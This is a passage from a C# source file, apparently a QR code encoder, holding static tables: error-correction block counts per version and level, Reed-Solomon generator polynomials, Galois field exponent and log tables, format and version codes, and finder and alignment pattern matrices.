13}, // 14-H 249 | { 5, 87, 1, 88}, // 15-L 250 | { 5, 41, 5, 42}, // 15-M 251 | { 5, 24, 7, 25}, // 15-Q 252 | { 11, 12, 7, 13}, // 15-H 253 | { 5, 98, 1, 99}, // 16-L 254 | { 7, 45, 3, 46}, // 16-M 255 | { 15, 19, 2, 20}, // 16-Q 256 | { 3, 15, 13, 16}, // 16-H 257 | { 1, 107, 5, 108}, // 17-L 258 | { 10, 46, 1, 47}, // 17-M 259 | { 1, 22, 15, 23}, // 17-Q 260 | { 2, 14, 17, 15}, // 17-H 261 | { 5, 120, 1, 121}, // 18-L 262 | { 9, 43, 4, 44}, // 18-M 263 | { 17, 22, 1, 23}, // 18-Q 264 | { 2, 14, 19, 15}, // 18-H 265 | { 3, 113, 4, 114}, // 19-L 266 | { 3, 44, 11, 45}, // 19-M 267 | { 17, 21, 4, 22}, // 19-Q 268 | { 9, 13, 16, 14}, // 19-H 269 | { 3, 107, 5, 108}, // 20-L 270 | { 3, 41, 13, 42}, // 20-M 271 | { 15, 24, 5, 25}, // 20-Q 272 | { 15, 15, 10, 16}, // 20-H 273 | { 4, 116, 4, 117}, // 21-L 274 | { 17, 42, 0, 0}, // 21-M 275 | { 17, 22, 6, 23}, // 21-Q 276 | { 19, 16, 6, 17}, // 21-H 277 | { 2, 111, 7, 112}, // 22-L 278 | { 17, 46, 0, 0}, // 22-M 279 | { 7, 24, 16, 25}, // 22-Q 280 | { 34, 13, 0, 0}, // 22-H 281 | { 4, 121, 5, 122}, // 23-L 282 | { 4, 47, 14, 48}, // 23-M 283 | { 11, 24, 14, 25}, // 23-Q 284 | { 16, 15, 14, 16}, // 23-H 285 | { 6, 117, 4, 118}, // 24-L 286 | { 6, 45, 14, 46}, // 24-M 287 | { 11, 24, 16, 25}, // 24-Q 288 | { 30, 16, 2, 17}, // 24-H 289 | { 8, 106, 4, 107}, // 25-L 290 | { 8, 47, 13, 48}, // 25-M 291 | { 7, 24, 22, 25}, // 25-Q 292 | { 22, 15, 13, 16}, // 25-H 293 | { 10, 114, 2, 115}, // 26-L 294 | { 19, 46, 4, 47}, // 26-M 295 | { 28, 22, 6, 23}, // 26-Q 296 | { 33, 16, 4, 17}, // 26-H 297 | { 8, 122, 4, 123}, // 27-L 298 | { 22, 45, 3, 46}, // 27-M 299 | { 8, 23, 26, 24}, // 27-Q 300 | { 12, 15, 28, 16}, // 27-H 301 | { 3, 117, 10, 118}, // 28-L 302 | { 3, 45, 23, 46}, // 28-M 303 | { 4, 24, 31, 25}, // 28-Q 304 | { 11, 15, 31, 16}, // 28-H 305 | { 7, 116, 7, 117}, // 29-L 306 | { 21, 45, 7, 46}, // 29-M 307 | { 1, 23, 37, 24}, // 29-Q 308 | { 19, 15, 26, 16}, // 29-H 309 | { 5, 115, 10, 116}, // 30-L 310 | { 19, 47, 10, 48}, // 30-M 311 | { 15, 24, 25, 25}, // 30-Q 312 | { 23, 15, 25, 16}, // 30-H 313 | { 13, 115, 3, 116}, // 31-L 314 | { 2, 46, 29, 47}, // 31-M 315 | { 42, 24, 1, 25}, // 31-Q 316 | { 23, 15, 28, 16}, // 31-H 317 | { 17, 115, 0, 0}, // 32-L 318 | { 10, 46, 23, 47}, // 32-M 319 | { 10, 24, 35, 25}, // 32-Q 320 | { 19, 15, 35, 16}, // 32-H 321 | { 17, 115, 1, 116}, // 33-L 322 | { 14, 46, 21, 47}, // 33-M 323 | { 29, 24, 19, 25}, // 33-Q 324 | { 11, 15, 46, 16}, // 33-H 325 | { 13, 115, 6, 116}, // 34-L 326 | { 14, 46, 23, 47}, // 34-M 327 | { 44, 24, 7, 25}, // 34-Q 328 | { 59, 16, 1, 17}, // 34-H 329 | { 12, 121, 7, 122}, // 35-L 330 | { 12, 47, 26, 48}, // 35-M 331 | { 39, 24, 14, 25}, // 35-Q 332 | { 22, 15, 41, 16}, // 35-H 333 | { 6, 121, 14, 122}, // 36-L 334 | { 6, 47, 34, 48}, // 36-M 335 | { 46, 24, 10, 25}, // 36-Q 336 | { 2, 15, 64, 16}, // 36-H 337 | { 17, 122, 4, 123}, // 37-L 338 | { 29, 46, 14, 47}, // 37-M 339 | { 49, 24, 10, 25}, // 37-Q 340 | { 24, 15, 46, 16}, // 37-H 341 | { 4, 122, 18, 123}, // 38-L 342 | { 13, 46, 32, 47}, // 38-M 343 | { 48, 24, 14, 25}, // 38-Q 344 | { 42, 15, 32, 16}, // 38-H 345 | { 20, 117, 4, 118}, // 39-L 346 | { 40, 47, 7, 48}, // 39-M 347 | { 43, 24, 22, 25}, // 39-Q 348 | { 10, 15, 67, 16}, // 39-H 349 | { 19, 118, 6, 119}, // 40-L 350 | { 18, 47, 31, 48}, // 40-M 351 | { 34, 24, 34, 25}, // 40-Q 352 | { 20, 15, 61, 16}, // 40-H 353 | }; 354 | 355 | internal static readonly byte[] Generator7 = 356 | { 87, 229, 146, 149, 238, 102, 21}; 357 | internal static readonly byte[] Generator10 = 358 | { 251, 67, 46, 61, 118, 70, 64, 94, 32, 45}; 359 | internal static readonly byte[] Generator13 = 360 | { 74, 152, 176, 100, 86, 100, 106, 104, 130, 218, 206, 140, 78}; 361 | internal static readonly byte[] Generator15 = 362 | { 8, 183, 61, 91, 202, 37, 51, 58, 58, 237, 140, 124, 5, 99, 105}; 363 | internal static readonly byte[] Generator16 = 364 | { 120, 104, 107, 109, 102, 161, 76, 3, 91, 191, 147, 169, 182, 194, 225, 120}; 365 | internal static readonly byte[] Generator17 = 366 | { 43, 139, 206, 78, 43, 239, 123, 206, 214, 147, 24, 99, 150, 39, 243, 163, 367 | 136}; 368 | internal static readonly byte[] Generator18 = 369 | { 215, 234, 158, 94, 184, 97, 118, 170, 79, 187, 152, 148, 252, 179, 5, 98, 370 | 96, 153}; 371 | internal static readonly byte[] Generator20 = 372 | { 17, 60, 79, 50, 61, 163, 26, 187, 202, 180, 221, 225, 83, 239, 156, 164, 373 | 212, 212, 188, 190}; 374 | internal static readonly byte[] Generator22 = 375 | { 210, 171, 247, 242, 93, 230, 14, 109, 221, 53, 200, 74, 8, 172, 98, 80, 376 | 219, 134, 160, 105, 165, 231}; 377 | internal static readonly byte[] Generator24 = 378 | { 229, 121, 135, 48, 211, 117, 251, 126, 159, 180, 169, 152, 192, 226, 228, 218, 379 | 111, 0, 117, 232, 87, 96, 227, 21}; 380 | internal static readonly byte[] Generator26 = 381 | { 173, 125, 158, 2, 103, 182, 118, 17, 145, 201, 111, 28, 165, 53, 161, 21, 382 | 245, 142, 13, 102, 48, 227, 153, 145, 218, 70}; 383 | internal static readonly byte[] Generator28 = 384 | { 168, 223, 200, 104, 224, 234, 108, 180, 110, 190, 195, 147, 205, 27, 232, 201, 385 | 21, 43, 245, 87, 42, 195, 212, 119, 242, 37, 9, 123}; 386 | internal static readonly byte[] Generator30 = 387 | { 41, 173, 145, 152, 216, 31, 179, 182, 50, 48, 110, 86, 239, 96, 222, 125, 388 | 42, 173, 226, 193, 224, 130, 156, 37, 251, 216, 238, 40, 192, 180}; 389 | internal static readonly byte[] Generator32 = 390 | { 10, 6, 106, 190, 249, 167, 4, 67, 209, 138, 138, 32, 242, 123, 89, 27, 391 | 120, 185, 80, 156, 38, 60, 171, 60, 28, 222, 80, 52, 254, 185, 220, 241}; 392 | internal static readonly byte[] Generator34 = 393 | { 111, 77, 146, 94, 26, 21, 108, 19, 105, 94, 113, 193, 86, 140, 163, 125, 394 | 58, 158, 229, 239, 218, 103, 56, 70, 114, 61, 183, 129, 167, 13, 98, 62, 395 | 129, 51}; 396 | internal static readonly byte[] Generator36 = 397 | { 200, 183, 98, 16, 172, 31, 246, 234, 60, 152, 115, 0, 167, 152, 113, 248, 398 | 238, 107, 18, 63, 218, 37, 87, 210, 105, 177, 120, 74, 121, 196, 117, 251, 399 | 113, 233, 30, 120}; 400 | internal static readonly byte[] Generator40 = 401 | { 59, 116, 79, 161, 252, 98, 128, 205, 128, 161, 247, 57, 163, 56, 235, 106, 402 | 53, 26, 187, 174, 226, 104, 170, 7, 175, 35, 181, 114, 88, 41, 47, 163, 403 | 125, 134, 72, 20, 232, 53, 35, 15}; 404 | internal static readonly byte[] Generator42 = 405 | { 250, 103, 221, 230, 25, 18, 137, 231, 0, 3, 58, 242, 221, 191, 110, 84, 406 | 230, 8, 188, 106, 96, 147, 15, 131, 139, 34, 101, 223, 39, 101, 213, 199, 407 | 237, 254, 201, 123, 171, 162, 194, 117, 50, 96}; 408 | internal static readonly byte[] Generator44 = 409 | { 190, 7, 61, 121, 71, 246, 69, 55, 168, 188, 89, 243, 191, 25, 72, 123, 410 | 9, 145, 14, 247, 1, 238, 44, 78, 143, 62, 224, 126, 118, 114, 68, 163, 411 | 52, 194, 217, 147, 204, 169, 37, 130, 113, 102, 73, 181}; 412 | internal static readonly byte[] Generator46 = 413 | { 112, 94, 88, 112, 253, 224, 202, 115, 187, 99, 89, 5, 54, 113, 129, 44, 414 | 58, 16, 135, 216, 169, 211, 36, 1, 4, 96, 60, 241, 73, 104, 234, 8, 415 | 249, 245, 119, 174, 52, 25, 157, 224, 43, 202, 223, 19, 82, 15}; 416 | internal static readonly byte[] Generator48 = 417 | { 228, 25, 196, 130, 211, 146, 60, 24, 251, 90, 39, 102, 240, 61, 178, 63, 418 | 46, 123, 115, 18, 221, 111, 135, 160, 182, 205, 107, 206, 95, 150, 120, 184, 419 | 91, 21, 247, 156, 140, 238, 191, 11, 94, 227, 84, 50, 163, 39, 34, 108}; 420 | internal static readonly byte[] Generator50 = 421 | { 232, 125, 157, 161, 164, 9, 118, 46, 209, 99, 203, 193, 35, 3, 209, 111, 422 | 195, 242, 203, 225, 46, 13, 32, 160, 126, 209, 130, 160, 242, 215, 242, 75, 423 | 77, 42, 189, 32, 113, 65, 124, 69, 228, 114, 235, 175, 124, 170, 215, 232, 424 | 133, 205}; 425 | internal static readonly byte[] Generator52 = 426 | { 116, 50, 86, 186, 50, 220, 251, 89, 192, 46, 86, 127, 124, 19, 184, 233, 427 | 151, 215, 22, 14, 59, 145, 37, 242, 203, 134, 254, 89, 190, 94, 59, 65, 428 | 124, 113, 100, 233, 235, 121, 22, 76, 86, 97, 39, 242, 200, 220, 101, 33, 429 | 239, 254, 116, 51}; 430 | internal static readonly byte[] Generator54 = 431 | { 183, 26, 201, 84, 210, 221, 113, 21, 46, 65, 45, 50, 238, 184, 249, 225, 432 | 102, 58, 209, 218, 109, 165, 26, 95, 184, 192, 52, 245, 35, 254, 238, 175, 433 | 172, 79, 123, 25, 122, 43, 120, 108, 215, 80, 128, 201, 235, 8, 153, 59, 434 | 101, 31, 198, 76, 31, 156}; 435 | internal static readonly byte[] Generator56 = 436 | { 106, 120, 107, 157, 164, 216, 112, 116, 2, 91, 248, 163, 36, 201, 202, 229, 437 | 6, 144, 254, 155, 135, 208, 170, 209, 12, 139, 127, 142, 182, 249, 177, 174, 438 | 190, 28, 10, 85, 239, 184, 101, 124, 152, 206, 96, 23, 163, 61, 27, 196, 439 | 247, 151, 154, 202, 207, 20, 61, 10}; 440 | internal static readonly byte[] Generator58 = 441 | { 82, 116, 26, 247, 66, 27, 62, 107, 252, 182, 200, 185, 235, 55, 251, 242, 442 | 210, 144, 154, 237, 176, 141, 192, 248, 152, 249, 206, 85, 253, 142, 65, 165, 443 | 125, 23, 24, 30, 122, 240, 214, 6, 129, 218, 29, 145, 127, 134, 206, 245, 444 | 117, 29, 41, 63, 159, 142, 233, 125, 148, 123}; 445 | internal static readonly byte[] Generator60 = 446 | { 107, 140, 26, 12, 9, 141, 243, 197, 226, 197, 219, 45, 211, 101, 219, 120, 447 | 28, 181, 127, 6, 100, 247, 2, 205, 198, 57, 115, 219, 101, 109, 160, 82, 448 | 37, 38, 238, 49, 160, 209, 121, 86, 11, 124, 30, 181, 84, 25, 194, 87, 449 | 65, 102, 190, 220, 70, 27, 209, 16, 89, 7, 33, 240}; 450 | internal static readonly byte[] Generator62 = 451 | { 65, 202, 113, 98, 71, 223, 248, 118, 214, 94, 0, 122, 37, 23, 2, 228, 452 | 58, 121, 7, 105, 135, 78, 243, 118, 70, 76, 223, 89, 72, 50, 70, 111, 453 | 194, 17, 212, 126, 181, 35, 221, 117, 235, 11, 229, 149, 147, 123, 213, 40, 454 | 115, 6, 200, 100, 26, 246, 182, 218, 127, 215, 36, 186, 110, 106}; 455 | internal static readonly byte[] Generator64 = 456 | { 45, 51, 175, 9, 7, 158, 159, 49, 68, 119, 92, 123, 177, 204, 187, 254, 457 | 200, 78, 141, 149, 119, 26, 127, 53, 160, 93, 199, 212, 29, 24, 145, 156, 458 | 208, 150, 218, 209, 4, 216, 91, 47, 184, 146, 47, 140, 195, 195, 125, 242, 459 | 238, 63, 99, 108, 140, 230, 242, 31, 204, 11, 178, 243, 217, 156, 213, 231}; 460 | internal static readonly byte[] Generator66 = 461 | { 5, 118, 222, 180, 136, 136, 162, 51, 46, 117, 13, 215, 81, 17, 139, 247, 462 | 197, 171, 95, 173, 65, 137, 178, 68, 111, 95, 101, 41, 72, 214, 169, 197, 463 | 95, 7, 44, 154, 77, 111, 236, 40, 121, 143, 63, 87, 80, 253, 240, 126, 464 | 217, 77, 34, 232, 106, 50, 168, 82, 76, 146, 67, 106, 171, 25, 132, 93, 465 | 45, 105}; 466 | internal static readonly byte[] Generator68 = 467 | { 247, 159, 223, 33, 224, 93, 77, 70, 90, 160, 32, 254, 43, 150, 84, 101, 468 | 190, 205, 133, 52, 60, 202, 165, 220, 203, 151, 93, 84, 15, 84, 253, 173, 469 | 160, 89, 227, 52, 199, 97, 95, 231, 52, 177, 41, 125, 137, 241, 166, 225, 470 | 118, 2, 54, 32, 82, 215, 175, 198, 43, 238, 235, 27, 101, 184, 127, 3, 471 | 5, 8, 163, 238}; 472 | 473 | internal static readonly byte[][] GenArray = 474 | { Generator7, null, null, Generator10, null, null, Generator13, null, Generator15, Generator16, 475 | Generator17, Generator18, null, Generator20, null, Generator22, null, Generator24, null, Generator26, 476 | null, Generator28, null, Generator30, null, Generator32, null, Generator34, null, Generator36, 477 | null, null, null, Generator40, null, Generator42, null, Generator44, null, Generator46, 478 | null, Generator48, null, Generator50, null, Generator52, null, Generator54, null, Generator56, 479 | null, Generator58, null, Generator60, null, Generator62, null, Generator64, null, Generator66, 480 | null, Generator68}; 481 | 482 | internal static readonly byte[] ExpToInt = // ExpToInt = 483 | { 484 | 1, 2, 4, 8, 16, 32, 64, 128, 29, 58, 116, 232, 205, 135, 19, 38, 485 | 76, 152, 45, 90, 180, 117, 234, 201, 143, 3, 6, 12, 24, 48, 96, 192, 486 | 157, 39, 78, 156, 37, 74, 148, 53, 106, 212, 181, 119, 238, 193, 159, 35, 487 | 70, 140, 5, 10, 20, 40, 80, 160, 93, 186, 105, 210, 185, 111, 222, 161, 488 | 95, 190, 97, 194, 153, 47, 94, 188, 101, 202, 137, 15, 30, 60, 120, 240, 489 | 253, 231, 211, 187, 107, 214, 177, 127, 254, 225, 223, 163, 91, 182, 113, 226, 490 | 217, 175, 67, 134, 17, 34, 68, 136, 13, 26, 52, 104, 208, 189, 103, 206, 491 | 129, 31, 62, 124, 248, 237, 199, 147, 59, 118, 236, 197, 151, 51, 102, 204, 492 | 133, 23, 46, 92, 184, 109, 218, 169, 79, 158, 33, 66, 132, 21, 42, 84, 493 | 168, 77, 154, 41, 82, 164, 85, 170, 73, 146, 57, 114, 228, 213, 183, 115, 494 | 230, 209, 191, 99, 198, 145, 63, 126, 252, 229, 215, 179, 123, 246, 241, 255, 495 | 227, 219, 171, 75, 150, 49, 98, 196, 149, 55, 110, 220, 165, 87, 174, 65, 496 | 130, 25, 50, 100, 200, 141, 7, 14, 28, 56, 112, 224, 221, 167, 83, 166, 497 | 81, 162, 89, 178, 121, 242, 249, 239, 195, 155, 43, 86, 172, 69, 138, 9, 498 | 18, 36, 72, 144, 61, 122, 244, 245, 247, 243, 251, 235, 203, 139, 11, 22, 499 | 44, 88, 176, 125, 250, 233, 207, 131, 27, 54, 108, 216, 173, 71, 142, 1, 500 | 501 | 2, 4, 8, 16, 32, 64, 128, 29, 58, 116, 232, 205, 135, 19, 38, 502 | 76, 152, 45, 90, 180, 117, 234, 201, 143, 3, 6, 12, 24, 48, 96, 192, 503 | 157, 39, 78, 156, 37, 74, 148, 53, 106, 212, 181, 119, 238, 193, 159, 35, 504 | 70, 140, 5, 10, 20, 40, 80, 160, 93, 186, 105, 210, 185, 111, 222, 161, 505 | 95, 190, 97, 194, 153, 47, 94, 188, 101, 202, 137, 15, 30, 60, 120, 240, 506 | 253, 231, 211, 187, 107, 214, 177, 127, 254, 225, 223, 163, 91, 182, 113, 226, 507 | 217, 175, 67, 134, 17, 34, 68, 136, 13, 26, 52, 104, 208, 189, 103, 206, 508 | 129, 31, 62, 124, 248, 237, 199, 147, 59, 118, 236, 197, 151, 51, 102, 204, 509 | 133, 23, 46, 92, 184, 109, 218, 169, 79, 158, 33, 66, 132, 21, 42, 84, 510 | 168, 77, 154, 41, 82, 164, 85, 170, 73, 146, 57, 114, 228, 213, 183, 115, 511 | 230, 209, 191, 99, 198, 145, 63, 126, 252, 229, 215, 179, 123, 246, 241, 255, 512 | 227, 219, 171, 75, 150, 49, 98, 196, 149, 55, 110, 220, 165, 87, 174, 65, 513 | 130, 25, 50, 100, 200, 141, 7, 14, 28, 56, 112, 224, 221, 167, 83, 166, 514 | 81, 162, 89, 178, 121, 242, 249, 239, 195, 155, 43, 86, 172, 69, 138, 9, 515 | 18, 36, 72, 144, 61, 122, 244, 245, 247, 243, 251, 235, 203, 139, 11, 22, 516 | 44, 88, 176, 125, 250, 233, 207, 131, 27, 54, 108, 216, 173, 71, 142, 1 517 | }; 518 | 519 | internal static readonly byte[] IntToExp = // IntToExp = 520 | { 521 | 0, 0, 1, 25, 2, 50, 26, 198, 3, 223, 51, 238, 27, 104, 199, 75, 522 | 4, 100, 224, 14, 52, 141, 239, 129, 28, 193, 105, 248, 200, 8, 76, 113, 523 | 5, 138, 101, 47, 225, 36, 15, 33, 53, 147, 142, 218, 240, 18, 130, 69, 524 | 29, 181, 194, 125, 106, 39, 249, 185, 201, 154, 9, 120, 77, 228, 114, 166, 525 | 6, 191, 139, 98, 102, 221, 48, 253, 226, 152, 37, 179, 16, 145, 34, 136, 526 | 54, 208, 148, 206, 143, 150, 219, 189, 241, 210, 19, 92, 131, 56, 70, 64, 527 | 30, 66, 182, 163, 195, 72, 126, 110, 107, 58, 40, 84, 250, 133, 186, 61, 528 | 202, 94, 155, 159, 10, 21, 121, 43, 78, 212, 229, 172, 115, 243, 167, 87, 529 | 7, 112, 192, 247, 140, 128, 99, 13, 103, 74, 222, 237, 49, 197, 254, 24, 530 | 227, 165, 153, 119, 38, 184, 180, 124, 17, 68, 146, 217, 35, 32, 137, 46, 531 | 55, 63, 209, 91, 149, 188, 207, 205, 144, 135, 151, 178, 220, 252, 190, 97, 532 | 242, 86, 211, 171, 20, 42, 93, 158, 132, 60, 57, 83, 71, 109, 65, 162, 533 | 31, 45, 67, 216, 183, 123, 164, 118, 196, 23, 73, 236, 127, 12, 111, 246, 534 | 108, 161, 59, 82, 41, 157, 85, 170, 251, 96, 134, 177, 187, 204, 62, 90, 535 | 203, 89, 95, 176, 156, 169, 160, 81, 11, 245, 22, 235, 122, 117, 44, 215, 536 | 79, 174, 213, 233, 230, 231, 173, 232, 116, 214, 244, 234, 168, 80, 88, 175 537 | }; 538 | 539 | internal static readonly int[] FormatInfoArray = 540 | { 541 | 0x5412, 0x5125, 0x5E7C, 0x5B4B, 0x45F9, 0x40CE, 0x4F97, 0x4AA0, // M = 00 542 | 0x77C4, 0x72F3, 0x7DAA, 0x789D, 0x662F, 0x6318, 0x6C41, 0x6976, // L = 01 543 | 0x1689, 0x13BE, 0x1CE7, 0x19D0, 0x762, 0x255, 0xD0C, 0x83B, // H - 10 544 | 0x355F, 0x3068, 0x3F31, 0x3A06, 0x24B4, 0x2183, 0x2EDA, 0x2BED, // Q = 11 545 | }; 546 | 547 | internal static readonly int[,] FormatInfoOne = new int[,] 548 | { 549 | {0, 8}, {1, 8}, {2, 8}, {3, 8}, {4, 8}, {5, 8}, {7, 8}, {8, 8}, 550 | {8, 7}, {8, 5}, {8, 4}, {8, 3}, {8, 2}, {8, 1}, {8, 0} 551 | }; 552 | 553 | internal static readonly int[,] FormatInfoTwo = new int[,] 554 | { 555 | {8, -1}, {8, -2}, {8, -3}, {8, -4}, {8, -5}, {8, -6}, {8, -7}, {8, -8}, 556 | {-7, 8}, {-6, 8}, {-5, 8}, {-4, 8}, {-3, 8}, {-2, 8}, {-1, 8} 557 | }; 558 | 559 | internal static readonly int[] VersionCodeArray = 560 | { 561 | 0x7c94, 0x85bc, 0x9a99, 0xa4d3, 0xbbf6, 0xc762, 0xd847, 0xe60d, 0xf928, 0x10b78, 562 | 0x1145d, 0x12a17, 0x13532, 0x149a6, 0x15683, 0x168c9, 0x177ec, 0x18ec4, 0x191e1, 0x1afab, 563 | 0x1b08e, 0x1cc1a, 0x1d33f, 0x1ed75, 0x1f250, 0x209d5, 0x216f0, 0x228ba, 0x2379f, 0x24b0b, 564 | 0x2542e, 0x26a64, 0x27541, 0x28c69 565 | }; 566 | 567 | internal const byte White = 0; 568 | internal const byte Black = 1; 569 | internal const byte NonData = 2; 570 | internal const byte Fixed = 4; 571 | internal const byte DataWhite = White; 572 | internal const byte DataBlack = Black; 573 | internal const byte FormatWhite = NonData | White; 574 | internal const byte FormatBlack = NonData | Black; 575 | internal const byte FixedWhite = Fixed | NonData | White; 576 | internal const byte FixedBlack = Fixed | NonData | Black; 577 | 578 | internal static readonly byte[,] FinderPatternTopLeft = 579 | { 580 | {FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FormatWhite}, 581 | {FixedBlack, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedBlack, FixedWhite, FormatWhite}, 582 | {FixedBlack, FixedWhite, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FixedBlack, FixedWhite, FormatWhite}, 583 | {FixedBlack, FixedWhite, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FixedBlack, FixedWhite, FormatWhite}, 584 | {FixedBlack, FixedWhite, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FixedBlack, FixedWhite, FormatWhite}, 585 | {FixedBlack, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedBlack, FixedWhite, FormatWhite}, 586 | {FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FormatWhite}, 587 | {FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FormatWhite}, 588 | {FormatWhite, FormatWhite, FormatWhite, FormatWhite, FormatWhite, FormatWhite, FormatWhite, FormatWhite, FormatWhite}, 589 | }; 590 | 591 | internal static readonly byte[,] FinderPatternTopRight = 592 | { 593 | {FixedWhite, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack}, 594 | {FixedWhite, FixedBlack, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedBlack}, 595 | {FixedWhite, FixedBlack, FixedWhite, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FixedBlack}, 596 | {FixedWhite, FixedBlack, FixedWhite, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FixedBlack}, 597 | {FixedWhite, FixedBlack, FixedWhite, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FixedBlack}, 598 | {FixedWhite, FixedBlack, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedBlack}, 599 | {FixedWhite, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack}, 600 | {FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite}, 601 | {FormatWhite, FormatWhite, FormatWhite, FormatWhite, FormatWhite, FormatWhite, FormatWhite, FormatWhite}, 602 | }; 603 | 604 | internal static readonly byte[,] FinderPatternBottomLeft = 605 | { 606 | {FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedBlack}, 607 | {FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FormatWhite}, 608 | {FixedBlack, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedBlack, FixedWhite, FormatWhite}, 609 | {FixedBlack, FixedWhite, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FixedBlack, FixedWhite, FormatWhite}, 610 | {FixedBlack, FixedWhite, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FixedBlack, FixedWhite, FormatWhite}, 611 | {FixedBlack, FixedWhite, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FixedBlack, FixedWhite, FormatWhite}, 612 | {FixedBlack, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedBlack, FixedWhite, FormatWhite}, 613 | {FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FormatWhite}, 614 | }; 615 | 616 | internal static readonly byte[,] AlignmentPattern = 617 | { 618 | {FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack}, 619 | {FixedBlack, FixedWhite, FixedWhite, FixedWhite, FixedBlack}, 620 | {FixedBlack, FixedWhite, FixedBlack, FixedWhite, FixedBlack}, 621 | {FixedBlack, FixedWhite, FixedWhite, FixedWhite, FixedBlack}, 622 | {FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack}, 623 | }; 624 | } 625 | } --------------------------------------------------------------------------------